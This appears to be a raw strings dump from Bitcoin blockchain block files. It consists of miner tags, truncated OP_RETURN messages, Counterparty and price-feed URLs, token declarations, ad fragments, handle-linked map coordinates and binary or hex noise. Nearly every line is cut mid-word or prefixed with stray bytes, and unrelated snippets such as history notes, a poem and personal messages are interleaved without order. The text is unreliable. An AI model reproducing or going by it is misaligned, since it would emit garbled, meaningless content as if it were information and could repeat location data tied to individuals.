Mined by darkphoenixs3
Mined by lixiaokt1worker
Mined by yu133511711
! feeds.info/static/live/btc-usd.jR
Mined by chenning88813
! feeds.info/static/live/btc-usd.jR
Ng%Mined by arendelle1tm
(Extremecoin VIP InvestmenR
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
Mined by chenjialong
! feeds.info/static/live/btc-usd.jR
Mined by ljm19941012
Zq! xcp.com/feed/907
ax! xcp.com/feed/912
4[! xcp.com/feed/911
[yTh! xcp.com/feed/908
! feeds.info/static/live/btc-usd.jR
assets.ingesture.com/burnR
assets.ingesture.com/procR
assets.ingesture.com/destR
! feeds.info/static/live/btc-usd.jR
Zen Cloud Passthrough FunR
;[! xcp.com/feed/947
%R! xcp.com/feed/943
aj! xcp.com/feed/955
:N! xcp.com/feed/945
X='$! xcp.com/feed/967
YI! xcp.com/feed/965
)Crypto-Rewards Program htR
assets.ingesture.com/whisR
assets.ingesture.com/protR
assets.ingesture.com/crypR
assets.ingesture.com/sneaR
assets.ingesture.com/rollR
assets.ingesture.com/tricR
assets.ingesture.com/dodgR
assets.ingesture.com/slapR
assets.ingesture.com/spanR
assets.ingesture.com/turnR
assets.ingesture.com/pivoR
assets.ingesture.com/chanR
assets.ingesture.com/shufR
assets.ingesture.com/teasR
Mined by hyq904043187
u=https://cpr.sm/KK-eqXSrsR
! feeds.info/static/live/btc-usd.jR
Mined by l3080615940
Mined by baidugan888
www.bitcoincomic.com
! feeds.info/static/live/btc-usd.jR
www.bitcoincomic.com
Mined by chenchen1977
(Mined by arendelle1tm
www.swarm.co redeemable tR
www.swarm.co redeemable tR
www.swarm.co redeemable tR
! feeds.info/static/live/btc-usd.jR
www.swarm.co redeemable tR
www.swarm.co redeemable tR
Mined by chenning88813
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
Mined by qq408049975
Mined by zengzhaoning
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/z8zNA7_8558]
Mined by kuangchang2014
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by cyy64792589
Mined by wangxingsmile
! feeds.info/static/live/btc-usd.jR
&Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
X='$! xcp.com/feed/967
aj! xcp.com/feed/955
YI! xcp.com/feed/965
'Bitcoin Scrypt Voting andR
:N! xcp.com/feed/945
%R! xcp.com/feed/943
;[! xcp.com/feed/947
! feeds.info/static/live/btc-usd.jR
Mined by phoenix2728
Mined by arendelle0ls
! feeds.info/static/live/btc-usd.jR
Mined by cyha20140108
@charley,37.770859,-122.431995
! feeds.info/static/live/btc-usd.jR
Let's Talk NEWS trading tR
Mined by su512688044
! feeds.info/static/live/btc-usd.jR
#j!@alexcusack,37.774208,-122.443128
Mined by baidugan888
]Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
Mined by arendelle0ls
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by cyha20140108
DEMined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
rH! xcp.com/feed/976
7~! xcp.com/feed/999
Q! xcp.com/feed/1009
! xcp.com/feed/1001
]|Cy! xcp.com/feed/974
4N:! xcp.com/feed/984
4! xcp.com/feed/1003
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by qq2482022295
g"Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhang370039119
! feeds.info/static/live/btc-usd.jR
SXMined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/eIOxaAZ-he
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
$! 5022100e66b7758be35c27b35c3976c0R
%krystal@letstalkbitcoin.cR
Mined by nimeimei123
'Redeem with Krystal@letstR
Mined by sunnyhctao03
Mined by arendelle0ls
! feeds.info/static/live/btc-usd.jR
http://goo.gl/LN4MWY
! feeds.info/static/live/btc-usd.jR
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
File: blk00165.txt
*j(test1 : Hello Bitcoin World! test2 : Hel
$Bkeychain.com Keychain maR
! feeds.info/static/live/btc-usd.jR
%[! xcp.com/feed/1035
u9;! xcp.com/feed/1029
.X! xcp.com/feed/1020
^gQp! xcp.com/feed/1021
Xz! xcp.com/feed/1022
2! xcp.com/feed/1031
@t! xcp.com/feed/1032
! xcp.com/feed/1036
Tp3E! xcp.com/feed/1039
9! xcp.com/feed/1033
1! xcp.com/feed/1026
M7! xcp.com/feed/1027
b{! xcp.com/feed/1015
LgQ3! xcp.com/feed/1016
+! xcp.com/feed/1014
! feeds.info/static/live/btc-usd.jR
http://goo.gl/6jQ86V
Mined by qq1308955127
! feeds.info/static/live/btc-usd.jR
Mined by wanghailianxin
! feeds.info/static/live/btc-usd.jR
&test for future trading pR
vMined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
Mined by wfababamama
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
&test for future trading pR
KMined by liugonggong
http://goo.gl/6jQ86V
http://goo.gl/6jQ86V
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
%j#2 pan circa 500 A.D. This separatio
%j#4 iot in which over half the German
%j#5 s living in the Netherlands decid
%j#1 the separation of Germany and Ja
%j#3 n was sparked by the Dutch Beer R
%j#0 Dutch history largely begins with
%j#6 ed to call themselves Dutch inste
u=https://cpr.sm/R4AjLqlB3G
! feeds.info/static/live/btc-usd.jR
#TronCoin - Making the worR
%j#0 A vegetarian is a person who beli
%j#1 eves in the humane treatment of a
%j#2 nimals and the inhumane treatment
(Mined by arendelle0ls
Mined by sunnyhctao03
%j#0 When Seljuq, the leader of the Se
Mined by zhangfen048
! feeds.info/static/live/btc-usd.jR
%j#0 I declare AustrianDingos!
%j#0 I declare AustrianDingos!
2.50 GULDEN COIN NOW
#j!3 defenestration to occur there!
%j#1 618 began the Thirty Years war.
%j#2 It was actually the second famous
%j#0 The defenestration of Prague in 1
%j#0 I declare CowryShells!
Mined by arendelle0ls
%j#0 I declare postalkoins!
@charley,37.773573,-122.413299
! feeds.info/static/live/btc-usd.jR
%j#0 I declare AustrianKangarooBeads wD.
Of Great Worth to Austrians in
%j#0 I declare AustrianKangarooBeads w
%j#1 ith ticker: ASS
AustrianKangarooBeads
AustrianKangarooBeads
AustrianKangarooBeads
Total Issued: 2000000
%j#0 I declare PiecesOfEight with tick
AustrianKangarooBeads
! feeds.info/static/live/btc-usd.jR
Mined by a1151888887
yMined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
We offer BTC mining assetR
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1dm
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! t.io/feed/1Dfqvdc3W6tzfEDRKSXGxjR
! t.io/feed/14GMxrs9rxgFbK6Z4JoGtER
! t.io/feed/1JZG7N8pPFjH5mmrNgSbn9R
! t.io/feed/19gyrY35k4CG3cNJai42yKR
! t.io/feed/1AQLYYcMGQxLFQ2hpQe4TKR
s! t.io/feed/12rDhT96HeUYtQ2bgSWgxBR
v! t.io/feed/1NAHWNujTMw9Lmfux6C5CZR
! t.io/feed/1NdyJTD322X3pCL4mLyGw2R
! t.io/feed/1LtZDrxoun2j9R7iD2godCR
! t.io/feed/1GJKUw6Q4PYfF5hWRz7gHDR
(! t.io/feed/163bHUK4Ep7rVajsXrg183R
! t.io/feed/1Q69vqHVpTVdxBmpmFBWn5R
! t.io/feed/12MaJk6DTX7arjTBhenp5BR
! t.io/feed/16NminSCKfWZPhXp93QLpLR
! t.io/feed/1HTatomAdvcpPnYcyzjvDNR
! t.io/feed/1GNT1pBiunx3r5vsQzBatmR
! t.io/feed/1KFwkUQoTLrtHiixQAgxGxR
P! t.io/feed/1HWrsNnouQibsDgaHaFwhmR
g! t.io/feed/1LujFjmXHwA64GT64dVsNgR
{v! t.io/feed/1JMcempef6sAQdYhxPXeatR
O! t.io/feed/1HthmJGqAg31Ag9cichyAbR
V;! t.io/feed/1Pn9jUd9s1aS5fBFo3VhLkR
! t.io/feed/15GsoLSgXJAdQEz975w6oMR
! t.io/feed/19pmLR58Uvhz4VMbAnJQ2MR
x! t.io/feed/1JGx96sCfgB2MR17B7brNPR
! t.io/feed/17PT8S2wwm3CoMkc4gMzcZR
! t.io/feed/1LGkN4nyqY5H35c7tfKYTwR
2! t.io/feed/12tpNXkS3qJx5d7FvRmURvR
! t.io/feed/1Fieuj3Ga2bXS7WW29AG7nR
! t.io/feed/1MyV8n2euGf47WAQhWzdY3R
0! t.io/feed/15izytKhBFXjYf3WX1uojxR
! t.io/feed/1AFV21HE9Pu8eEEp2wU71CR
! t.io/feed/1MHS3MQqVMNr7MtvbwY3HiR
y! t.io/feed/17bbKiGRECPcntPPCr989SR
! t.io/feed/1FoF64VnKn2rgyaJaybcL8R
! t.io/feed/15nhRfgroxiH7vHdt6BSd1R
! t.io/feed/15sg4CuQUNeJq4TPh7X9mqR
>! t.io/feed/1J4EHS5oiGNP924xycnEE8R
! t.io/feed/143uGWf8uxs83L7hTz6uizR
! t.io/feed/1JyYTTexBX23gzMUdDLmiyR
&T! t.io/feed/16AMfjuEEiiW1VQUD4TnS2R
! t.io/feed/1937kYgvFbcK3Jbe2UMpNYR
v! t.io/feed/1Ekj2Tw5BYoPC76Cmzdhg6R
! t.io/feed/1FAk3U6hGcKwfqqTEGjbMDR
! t.io/feed/1MRYnxan66vzCcYA9wr5JmR
Bo! t.io/feed/161f8azSrE8REW36VDAVwoR
'EGg b.p! t.io/feed/1Ji9bCYxpZM7S8ZdcQoeGDR
S! t.io/feed/19yKMozXCL7yaqsnpr25QcR
! t.io/feed/1CYhBKj4kCrfk8HcatSsQSR
! t.io/feed/1EYskJe7S18t2ivAxRCzodR
! t.io/feed/1My5gYdnDwhee697Xg4CcaR
! t.io/feed/13BtJjDnie2nE5zkDSk8PrR
! t.io/feed/1CXr5bC4dDqkWBnho6sPxWR
! t.io/feed/18PB998fDSNa3SLGr9Zw8xR
! t.io/feed/18fPTQUgF3qLFcvVtp9kB8R
! t.io/feed/1MbNqwdnSaBCCZnYduf6h1R
! t.io/feed/1JiJXog7xNX3eJusVVkRVLR
*]! t.io/feed/1H9EqH6j7B246qcKURPGDPR
! t.io/feed/1B6wvBuR2Ph1igkijmHj6mR
! t.io/feed/1N1mo4zhuJAwvfJ4oMf9ZCR
! t.io/feed/1PyzevNeytb4f9CjFJDMCRR
! t.io/feed/1MRBH9BnecDGBEzUAzkmb4R
! t.io/feed/1QFu5eJJrLf5x3nog8eraRR
{Xb! t.io/feed/1MKFGT9w45EQCvjP7PUdc1R
! t.io/feed/1JrD2d1QQYpUFk7PW2YmCNR
! t.io/feed/16WxNLabi2DZ7rL4XSqQJKR
! t.io/feed/1C6dwD4fw9FUHR6UUqK49VR
`! t.io/feed/1DxVZzU1wd9W3XSYgAFHhHR
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! t.io/feed/1FXodLXSURcwWV6H6rkniCR
! t.io/feed/17KMCfLSsC9trhiaPYcoLGR
f! t.io/feed/16Yn4qBZMEXCfrRK8VzC5NR
,! t.io/feed/1HkcaDdQFiDGWDhYDtQxDkR
! t.io/feed/16ueNLi25izHMtjjptn26BR
! t.io/feed/1hU8CdGoes89YMry9uAW7NR
! t.io/feed/1KkApggCYE5nfiWEbipJWDR
! t.io/feed/12X5nfP67ZJqx6fKBeFzF5R
! t.io/feed/1P3uZcFLJ11s2kHdZReVeFR
! t.io/feed/1PKvTtNKSZtATrrKSZbrsmR
q! t.io/feed/1Nee5cjmkLVggyczzwBZPjR
! t.io/feed/1KcD9WcxcS5iWYP6yiSDzAR
! t.io/feed/1QBg5nYXr67rqe9F1mHkvBR
,pa! t.io/feed/19qXi6EYkR86uw2FALZTdsR
! t.io/feed/1Egd3dx6TBovte5DzyAXFRR
! t.io/feed/1K2CGEYKshw6jXadsyAJbfR
^! t.io/feed/1LULRAXPrJ1GeEwjCi2BMnR
[! t.io/feed/12H9zNHS24JaGK17tv7YsKR
! t.io/feed/16cdw7nhLG3VRsyGgQbwToR
4! t.io/feed/1HBqjtm2xFTroWnc8HN7EuR
O[! t.io/feed/1Fs5ETA4eS2uZ68gf4Qk9fR
O.G! t.io/feed/17JaiSdvnFxhXSSBdhF9deR
r! t.io/feed/1FaCW13nfVhzGiJBRjyxH6R
! t.io/feed/1TeBMti3kJSFGAvgbJsxhER
! t.io/feed/1KgjFppTztiEyuG1GyJeswR
! t.io/feed/182hFTwjvFokx5xVZmJNPWR
7! t.io/feed/1EUg9fjPEVwCksxsLrqpinR
! t.io/feed/1siErv8XPGPcJ4MsQQ7YXUR
! t.io/feed/1A4sirBK4EqKFTZfHV1mapR
! t.io/feed/17WAvQH7wch9MH1CgsoKLoR
! t.io/feed/1C6B3HBCV7cakhZriQ8iTvR
! t.io/feed/1MNc8KhB7W1ZVrKjrN3F8RR
-?:cu{! t.io/feed/1duhhsx9Y4Rvmgfni5T1EyR
! t.io/feed/13ksYe1R7ay3jLHoh9gLGER
c! xcp.com/feed/1045
o! xcp.com/feed/1047
V! xcp.com/feed/1053
j^! xcp.com/feed/1043
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0|! xcp.com/feed/1052
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/%! xcp.com/feed/1065
w}J! xcp.com/feed/1068
! feeds.info/static/live/btc-usd.jR
One Week of Display Ad onR
Mined by wangxingsmile
%j#0 I declare PiecesOfEight with tick
Total Issued: 2000000
%j#0 I declare Danegeld with ticker: O
Mined by xiaolang7746
2.50 GULDEN COIN NOW
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
%j#0 I declare DoucheMarks with ticker
)Will the real first assetR
! feeds.info/static/live/btc-usd.jR
www.thetetcorporation.comR
Hermes Global Partners CrR
Hermes Global Partners CrR
%j#0 I declare DoucheMarks with ticker
Mined by sunnyhctao03
! feeds.info/static/live/btc-usd.jR
Mined by jzy123456789
! feeds.info/static/live/btc-usd.jR
What's up Ruben, you wantR
Mined by shanyng53025560
Mined by chenning888
! feeds.info/static/live/btc-usd.jR
H! xcp.com/feed/1104
H r! xcp.com/feed/1103
:o! xcp.com/feed/1098
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w! xcp.com/feed/1089
WT! xcp.com/feed/1100
4! xcp.com/feed/1109
8! xcp.com/feed/1116
u=https://cpr.sm/tFbMVDsILK
Mined by chenguanghai
B{S?)! xcp.com/feed/1079
z! xcp.com/feed/1078
.$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by zhouning60000
http://goo.gl/6jQ86V
u=https://cpr.sm/tFbMVDsILK0
'! xcp.com/feed/1147
f! xcp.com/feed/1137
$! xcp.com/feed/1149
! feeds.info/static/live/btc-usd.jR
Mined by chenning888
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
http://goo.gl/6jQ86V
$initial group buy for anoR
pledge to enter the groupR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
&Cryptoconsultancy Shares R
! feeds.info/static/live/btc-usd.jR
Mined by abc123602001
! feeds.info/static/live/btc-usd.jR
File: blk00166.txt
%j#0 I declare happykoins with ticker:
Trading internal POS AsseR
! feeds.info/static/live/btc-usd.jR
@charley,37.787795,-122.419709pF
A vote in confidence in LR
u=https://cpr.sm/2SLvPko58f
u=https://cpr.sm/2SLvPko58f`
u=https://cpr.sm/2SLvPko58f
Mined by chongchongwb
! feeds.info/static/live/btc-usd.jR
4Mined by arendelle0ls
! feeds.info/static/live/btc-usd.jR
!! xcp.com/feed/1122
T>! xcp.com/feed/1130
+! xcp.com/feed/1140
uq! xcp.com/feed/1125
$! xcp.com/feed/1149
'! xcp.com/feed/1147
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
Mined by chenjialong
Mined by qq659993866
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1dm
u=https://cpr.sm/QmjKo3Fpuv8
u=https://cpr.sm/QmjKo3Fpuv
Mined by hjy15956189988
! feeds.info/static/live/btc-usd.jR
|cUUMined by shantou
Mined by sww11005088
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! t.io/feed/1FXodLXSURcwWV6H6rkniCR
"www.bc-casino.com/counterR
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
u=https://cpr.sm/QmjKo3Fpuv
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Kd! xcp.com/feed/1181
Yi! xcp.com/feed/1178
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*/! xcp.com/feed/1174
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/! xcp.com/feed/1166
[! xcp.com/feed/1179
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s! xcp.com/feed/1168
m2! xcp.com/feed/1169
s! xcp.com/feed/1159
&P! xcp.com/feed/1194
Mined by chenning888
Mined by yansicong2013
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
in-Game Treasure Hunt
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
! t.io/feed/1NLMRusK5aAVUB5AnWCKENR
! feeds.info/static/live/btc-usd.jR
! t.io/feed/12J4QPxzqNxMYt3KVrt1XvR
! t.io/feed/1CBtYkN1kbwzg9GPYkD6a8R
2! xcp.com/feed/1152
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! feeds.info/static/live/btc-usd.jR
)Crypto-Rewards Program htR
! feeds.info/static/live/btc-usd.jR
! t.io/feed/14PFFd8d9RWyHsKz92K1JuR
! feeds.info/static/live/btc-usd.jR
WTF yo!
! feeds.info/static/live/btc-usd.jR
$/mining.bitcoinaffiliatenetwork.com/
%http://libertemining.com/R
! feeds.info/static/live/btc-usd.jR
"Redeemable for one copy oR
Congratulations12345
thisisatestmessage77
c! xcp.com/feed/1215
mJiWL! xcp.com/feed/1209
Cj! xcp.com/feed/1213
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2:! xcp.com/feed/1199
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
Mined by a13867662007
Mined by weishengpack
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
e'Mined by arendelle1dm
Mined by lixiaokt1worker
Mined by zhenxijiao713
! feeds.info/static/live/btc-usd.jR
Mined by qq766630091
! feeds.info/static/live/btc-usd.jR
Mined by zhangzhao110
http://coinmachine.co
Mined by shenlie2014
! feeds.info/static/live/btc-usd.jR
Mined by jimoyijiu123
Mined by jinjuankuangji
! feeds.info/static/live/btc-usd.jR
a! t.io/feed/15hvhZSJMJiNRHaAXZXn7xR
!Yep, I'm Chris. Nice to mR
Reserved for Future use.
Reserved for Future use.
Reserved for Future use.
u=https://cpr.sm/FoykwrH6UY
x5! xcp.com/feed/1231
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c%! xcp.com/feed/1248
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Kgpm! xcp.com/feed/1223
,! xcp.com/feed/1238
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! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
CSGO Trade and Betting CoR
?200"We all returned
safely last night a
fter over 4500 Miles
and 11 States... Th
e Great American Vac
ation was a success!
!! So thankfull for
my lovely wife, beau
tiful children and a
ll our extended fami
gd-jpeg v1.0 (using
IJG JPEG v80), quali
$+*($''-2@7-0=0''8L9
EEEEEEEEEEEEEEEEEEEE
76985e4dec01853b99de
c3bff7a4b1f8412d88e9
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c9f0:396*76985e4dec0
1853b99dec3bff7a4b1f
8412d88e90cb74e8d29a
5daad064b1e7997e51cd
484618e6700798bc5ee6
90d5fa88d6a3b3d6edd5
bbaaee28f732d5d36ba3
ae488071f664fafc253d
5bddcaa110cda8e83cb8
307bd7a49dc52faeb688
238104351211636d8fe0
225bfa29f45fa1eb393e
8666a8a717a71c31d57d
d4573a553b862de8bbc5
EEEEEEEEEEEEEEEEEEEE
GHIJSTUVWXYZcdefghij
JSTUVWXYZcdefghijstu
! feeds.info/static/live/btc-usd.jR
Mined by cyha20140108
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
There can be only one
http://goo.gl/6jQ86V
! feeds.info/static/live/btc-usd.jR
$7 Elements Oats http://7eR
$/mining.bitcoinaffiliatenetwork.com/
File: blk00167.txt
Mined by chenchunlei
x5! xcp.com/feed/1231
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ZQ! xcp.com/feed/1246
c%! xcp.com/feed/1248
,! xcp.com/feed/1238
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! feeds.info/static/live/btc-usd.jR
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http://goo.gl/6jQ86V
@charley,37.787796,-122.419708`
Mined by qq1030015233
! feeds.info/static/live/btc-usd.jR
15 minute block of help
There can be only one
)cryptocoinsfriends.com - R
! feeds.info/static/live/btc-usd.jR
! feeds.info/static/live/btc-usd.jR
'A token for the tokenwatcR
! feeds.info/static/live/btc-usd.jR
15 minute block of help
Mined by zhaodong1982
Mined by arendelle1tm
! feeds.info/static/live/btc-usd.jR
>$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
|19\I Love this woma
n!!EMBII-LOVES-Chiha
((((((((((((((((((((
ae0206b19e805be912a7
33d456566e33ecb5420c
4ceedcbe4190d9d392ee
a440*594\ae0206b19e8
05be912a733d456566e3
3ecb5420c4ceedcbe419
3d5fd5ebdd3d8bf5fb14
0d1e884c9fc45c97f90a
34216c0e415b99f9e679
1d5ef0d647856eb6e09e
1207369ddd1aecc0bcc0
8e8faafc87ce325320ea
515f7efaebf432520be6
c4228c92910fd407a043
5bbe878f9962a0e192bb
654cec20b6e11ad19768
dd71c6f86bc534a41fac
071a62f368ea6dd20875
f5ed343a609fcff80c24
877c683c5bd8586f0031
ec5e41144f1b59ede04c
dae14d6ff70e8f36276a
7f10e4247c7924142e98
1d119a8a4808dac63b69
E4! xcp.com/feed/1284
(! xcp.com/feed/1265
'! xcp.com/feed/1273
%! xcp.com/feed/1267
|zFq! xcp.com/feed/1275
1! xcp.com/feed/1280
l! xcp.com/feed/1264
%! xcp.com/feed/1272
%J! xcp.com/feed/1262
B! xcp.com/feed/1282
-%L(vt$! xcp.com/feed/1283
:I! xcp.com/feed/1269
Sorry for your loss,
bro. Care to tell u
s what happened with
ad24609212395fa8c630
bfd1653aec073177bb4a
118a18c1f7509081d1cb
Mined by liusheng121
Mined by arendelle1tm
Welt am Draht 1973..
! feeds.info/static/live/btc-usd.jR
*132<Start archiving
on your favourite b
lockchains using Ape
wnload the latest cl
! feeds.info/static/live/btc-usd.jR
The rabbit has a seC
ret,
does she make,
s it.
w falls in silence,
entRy of concealment
,
r and the Prey,
e lay,
ed warriOr don the a
rmor
Crafted in her honor
You'll need it.
is hope in the whit
e,
it, the axiom,
o reveals it.
'j%0 I declare SuchKash with ticker: Suc
'j%0 I declare SuchKash with ticker: Suc
! feeds.info/static/live/btc-usd.jR
2 th or Not to Barth
Total Issued: 1234567890
'j%0 I declare BarthBucks with ticker: B
Mined by wuwei871125
Mined by qq632361397
! feeds.info/static/live/btc-usd.jR
E4! xcp.com/feed/1284
'! xcp.com/feed/1273
%! xcp.com/feed/1272
-%L(vt$! xcp.com/feed/1283
1! xcp.com/feed/1280
|zFq! xcp.com/feed/1275
B! xcp.com/feed/1282
$/mining.bitcoinaffiliatenetwork.com/
! feeds.info/static/live/btc-usd.jR
(! xcp.com/feed/1265
%J! xcp.com/feed/1262
%! xcp.com/feed/1267
:I! xcp.com/feed/1269
l! xcp.com/feed/1264
15 minute block of help
Ac! xcp.com/feed/1318
m! xcp.com/feed/1309
F! xcp.com/feed/1289
@! xcp.com/feed/1285
k<! xcp.com/feed/1302
n!qt! xcp.com/feed/1296
E! xcp.com/feed/1290
y! xcp.com/feed/1294
=! xcp.com/feed/1319
l].! xcp.com/feed/1314
x:! xcp.com/feed/1298
7! xcp.com/feed/1321
-B! xcp.com/feed/1288
(zBeO! xcp.com/feed/1326
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v7d! xcp.com/feed/1305
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mn'! xcp.com/feed/1299
bj! xcp.com/feed/1310
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h! xcp.com/feed/1300
D! xcp.com/feed/1311
w! xcp.com/feed/1324
! feeds.info/static/live/btc-usd.jR
ZUUMined by zjn19791207
! feeds.info/static/live/btc-usd.jR
Mined by xushiming123
! feeds.info/static/live/btc-usd.jR
Mined by lixiaokt1worker
Mined by q2634672795
Mined by snkcapcom825
Mined by sww11005088
@Mined by zhaodong1982
! feeds.info/static/live/btc-usd.jR
Mined by arendelle1tm
! t.io/feed/1LFmQ4NXEK2kBMWCbfDahsR
! t.io/feed/12j7GWawDa5WGwRvYVvcPtR
y! t.io/feed/15z3B9VgGDsj1TCdmDpBEXR
>! t.io/feed/1LKoY3RaFvFNWCcw7xyGYVR
h! t.io/feed/1AXNHLvUdBrynaiNuNFj3XR
! t.io/feed/12v6haEBZjCBqwHKw178dfR
! t.io/feed/14opvmbZCPaeCXnHYJWTqmR
! t.io/feed/17ajSdHNkChmGjLBiubhrDR
! t.io/feed/1N6R71uennwjPvafzGWdgKR
1! t.io/feed/1JsMnQVkbxoSMovFFBrCidR
/v! t.io/feed/18VVQqi6ubnCgoapmP3xrXR
! t.io/feed/1pEsXfWauViMRUCV17Q6xVR
=&X! t.io/feed/1JNjQfzYpwNDxAY9WhyZMgR
! t.io/feed/1G6bLobsfG7bqAfqzepVemR
0! t.io/feed/17L43M1pVEL8WhTsd1QApYR
b! t.io/feed/1Lv8zZt11TNXa5AjDxEWQXR
! t.io/feed/1ErdeaKPSm8HazPi2eRireR
@! t.io/feed/1McuAckEBSedHs7BGPw1oDR
! t.io/feed/14FGcer9PqNxtA93fL4kP7R
G! t.io/feed/1HCK2BX4JGc5GaB3G5i6J2R
! t.io/feed/18kSswifcqECZ4kbJwALqeR
! t.io/feed/19SrtaxxHYeJEBGBL5oaMER
! t.io/feed/19dbixRXQpnQTUQUUCgV87R
! t.io/feed/1CMVs4MBhBzCfZ6aDWk29mR
! t.io/feed/1JjtQScW4dxbaVzon8ab3RR
7! t.io/feed/1MjNtTqQ3upq6nnkkwQ1gAR
! t.io/feed/1BAVXedSXdi5r9L8p8ymYUR
v! t.io/feed/1JyAkYiGZ5TKTCFBL8TBmgR
! t.io/feed/1JnPG14cZvGbTowM63LkSHR
o! t.io/feed/17UTu18o9rnMoWMgX5P5HtR
! t.io/feed/1BxQ9Q587VmMmWvdYqTsTgR
! t.io/feed/1JWazHGciSo1HWUYmycY5nR
! t.io/feed/12zTBS1nR8fL3aVJFaEJSMR
mN! t.io/feed/1cF9nCFhHh8VJiH2FRj8CER
#! t.io/feed/18y63oeUmfTXDCMaqwfgBeR
Y! t.io/feed/1KBXYstt5ooitSvLenDxXjR
r! t.io/feed/1CTy4AckEzadcUD2aGBjbgR
w! t.io/feed/1Nqr6ALDgxPuh2rmEfNw2aR
8! t.io/feed/1Ghxos9ja4hkCkgWxZa8A2R
L~! t.io/feed/13sz8x6nQTwB74mZubSE8xR
&! t.io/feed/16mcsRL23ytHLzETD9tqRFR
! t.io/feed/1D5h3wwjanidajwzAPCbYrR
m[! t.io/feed/17DEbNtdJ3CeM1MuZAgPmWR
! t.io/feed/18A9Ztg5yxZSBfVGMMUeEiR
! t.io/feed/18AYJaRGf3RpEt8NUQirwtR
! t.io/feed/1JYby3FXnSxMyBWg3F2yXGR
! t.io/feed/1D8TmCfLyEg16aJcmKHyniR
! t.io/feed/1PHqcSWMxc8expMmjRonPeR
! t.io/feed/169bm9cu1SzTCvHbUrzju7R
:!! t.io/feed/1ECKSUWi6z8TC3JBZmtKpVR
_<! t.io/feed/1P1BNqxcGzKCq91h7oShAmR
! t.io/feed/1N7nS1fBVrRhiBDQ3kNVsgR
! t.io/feed/1FbArjVj1z3DgpJUH5PYxMR
! t.io/feed/1PH3EbzsxMxQCLb3LKCTzeR
! t.io/feed/1JWqFRhvxqGqMuxiDxTGLSR
! t.io/feed/16YsZHPL4k8YYX8DSVR2CHR
! t.io/feed/1JZZMXNepN1AxXUW61FHcBR
E! t.io/feed/1HWRFAXREXYXvepnBqQTq9R
! t.io/feed/1Emybs2oD5DsauXCwibHmZR
! t.io/feed/1BFKwB2vBdR2m3UYArDXyJR
! t.io/feed/1WgTFFc5UZ3MeySY3reZDtR
_! t.io/feed/1oZaQx26dyABPGQHx1E6GSR
! t.io/feed/14iU74wbo4FjQCfLRqzjRER
i! t.io/feed/1PXeERyGhNhMTzaQoeoAGoR
! t.io/feed/1AmCoZh6D7hanXa3xHe36nR
/X! t.io/feed/1C2N8Yhaw8tF7bWWHMYz8QR
! t.io/feed/136LZrhwpxRNbn4pB23a9mR
! t.io/feed/16ttXhXQmSUusVcTpnd1VUR
aL! t.io/feed/188wdU4rwgtVQPRjvgwzfjR
! t.io/feed/1K5KF3FLWx6WN9wfKCBYjuR
! t.io/feed/1JeBeUcj3qm1C5iAuAM6KSR
Sw))\! t.io/feed/1AEFPKABtN2DUxcKFEzKYuR
X! t.io/feed/1E2PYoJhSyD3zowPSrFvLkR
! t.io/feed/1KpdmiF3kpGZJ2pxc7vcdoR
O! t.io/feed/1Cav86SdxMnVQNwDyKZKuYR
-! t.io/feed/151PBALNC5cBbzpKap91CbR
! t.io/feed/17Cg7uBJ5mpYFCW4wiWFX2R
! t.io/feed/1GC4XLW2y8goQoj5cxdGj3R
! t.io/feed/1JjKakb1Xy7AG2BBGZLZejR
! feeds.info/static/live/btc-usd.jR
Mined by qq878849130
! feeds.info/static/live/btc-usd.jR
@charley,37.773396,-122.413180P
@bitcoins,43.655550,-79.365215@
! feeds.info/static/live/btc-usd.jR
'j%0 I declare taco with ticker: tac
'j%1 otal Issued: 10000000
